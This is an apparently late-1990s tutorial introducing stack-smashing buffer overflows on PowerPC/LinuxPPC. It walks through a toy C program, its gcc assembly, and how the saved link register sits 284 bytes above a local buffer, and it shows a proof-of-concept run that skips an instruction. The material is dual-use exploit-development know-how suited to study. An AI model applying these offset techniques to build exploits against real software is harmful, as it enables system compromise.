Christopher A Shepherd
<cshepher@linux-florida.com>
Introduction
This assumes
the reader’s familiarity with buffer-overflow attacks on the Intel architecture,
and introduces the reader to the possibility of doing the same on the PowerPC.
If you’re not familiar with this, have a look at Phrack 49. Essentially, the
return address is saved at the top of the stack frame, and data written below
the return address can overwrite the return address, allowing us to execute evil
code.
PowerPC Errata
Buffer overflow attacks have been easy to
write for the Intel architecture, in part because function calls are implemented
with the ‘call’ opcode, which saves the calling address on the stack, to be
retrieved later when the function exits. But as we see here, this may not
actually be the case on the PPC.
A typical ppc function call is executed
with the ‘blr’ instruction, which saves the caller’s return address to a
special-purpose register called the ‘link register.’ If it were left at that,
stack attacks would not be possible because we don’t get a chance to alter the
link register simply by overwriting the stack.
Fortunately for the
attacker, the link register must be saved anytime a function calls another
function. Let’s take a look at a sample program as compiled by gcc on
LinuxPPC:
Figure 1: C Source Code———————–
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
int *ret;
ret = buffer1 + 284;
(*ret) += 8;
printf(“hi.\n”);
}
void main() {
int x;
x = 0;
function(1,2,3);
x = 1;
printf(“%d\n”,x);
}
And gcc -S yields…
Figure 2: PPC Assembly of Same——————————
.file “test2.c”
gcc2_compiled.:
.section “.rodata”
.align 2
.LC0:
.string “hi.\n”
.section “.text”
.align 2
.globl function
.type function,@function
function:
stwu 1,-304(1)
mflr 0
stw 31,300(1)
stw 0,308(1)
mr 31,1
stw 3,8(31)
stw 4,12(31)
stw 5,16(31)
addi 9,31,24
addi 0,9,284
stw 0,280(31)
lwz 9,280(31)
lwz 11,280(31)
lwz 10,0(11)
addi 0,10,8
stw 0,0(9)
lis 9,.LC0@ha
la 3,.LC0@l(9)
crxor 6,6,6
bl printf
.L2:
lwz 11,0(1)
lwz 0,4(11)
mtlr 0
lwz 31,-4(11)
mr 1,11
blr
.Lfe1:
.size function,.Lfe1-function
.section “.rodata”
.align 2
.LC1:
.string “%d\n”
.section “.text”
.align 2
.globl main
.type main,@function
main:
stwu 1,-32(1)
mflr 0
stw 31,28(1)
stw 0,36(1)
mr 31,1
li 0,0
stw 0,8(31)
li 3,1
li 4,2
li 5,3
bl function
li 0,1
stw 0,8(31)
lis 9,.LC1@ha
la 3,.LC1@l(9)
lwz 4,8(31)
crxor 6,6,6
bl printf
.L3:
lwz 11,0(1)
lwz 0,4(11)
mtlr 0
lwz 31,-4(11)
mr 1,11
blr
.Lfe2:
.size main,.Lfe2-main
.ident “GCC: (GNU) 2.95.1 19990809 (prerelease)”
Don’t worry about most of that code. For now, let’s look at where
main() calls our ‘function’ function. This is done with:
li 3,1li 4,2
li 5,3
bl function
The SysV PowerPC ABI, used on LinuxPPC, stipulates that arguments be
passed via registers (we do have lots of em on the PPC). Since r1 is the stack
pointer and r2 is the RTOC, we start with r3. So you see, this simulates the C
code “function(1,2,3);”
Now, when function() gets called, it goes
through a prologue routine, same as intel does. In this case, our stack is set
up by:
stwu 1,-304(1) ; sp = sp – 304mflr 0 ; move lr to r0 – watch this!
stw 31,300(1) ; save old frame pointer
stw 0,308(1) ; save old lr
mr 31,1 ; fp = sp
At this point, we’ve allocated a stack frame 304 bytes long, below the
old SP, and set our stack and frame pointers to point to it. Presently at the
bottom of the frame, there’s nothing, but at the top (300) is the 4-byte old
frame pointer. But notice above _that_, above the frame we allocated, we stack
the old link register. Notice that by doing it this way, we’re actually storing
the old link register at the _bottom_ of our caller’s stack. This was probably
done to be more like the other UNIXes. But it isn’t always done! If we don’t
call another function from inside our function, LR isn’t preserved like this and
conventional stack-smashing attacks can’t happen.
Now, what happens here
is most likely predictable. We can find buffer1′s offset from the top of the
frame pointer by noticing that the assembly references it as:
addi 9,31,24 ; r9 = frame pointer plus 24
So buffer sits 24 bytes from the bottom of the frame pointer, or 304 –
24 = 280 bytes from the top. But remember our preserved LR is going to sit 4
bytes ahead of that in the caller’s frame, so that makes it 284. That is why in
the ‘C’ code, we’re doing:
ret = buffer1 + 284;
Now, like Aleph1 told us in Phrack, *ret is pointing to our return
address. Just bump it up by two instructions, and we can bypass the “x=1″
statement in main() when we return. PowerPC instructions are always 4 bytes, so
that means an 8-byte increment. For the interested, objdump –disassemble on the
test2 compiled object yields:
10000490: 4b ff ff 71 bl 10000400 <function>10000494: 38 00 00 01 li r0,1
10000498: 90 1f 00 08 stw r0,8(r31)
1000049c: 3d 20 10 00 lis r9,4096
See where we called the function, the link register would be set to
point to the next instruction (0×10000494), but the “li r0,1 / stw r0,8(r31)” is
what does the “x=1″ statement, and those two statements are precisely the 8
bytes we’re jumping over.
So when you compile and run this, it goes
something like:
[cshepher@hal9000 cshepher]$ ./test2hi.
0
We’ve just done a proof-of-concept now that tells us that the stack
can be smashed and we can have our evil way with it. The rest may be left to
your imagination, but just in case it isn’t, part 2 follows later this week. By
the end of the week, we’ll be smashing stacks on LinuxPPC and Mac OS X. Woohoo!
-Chris


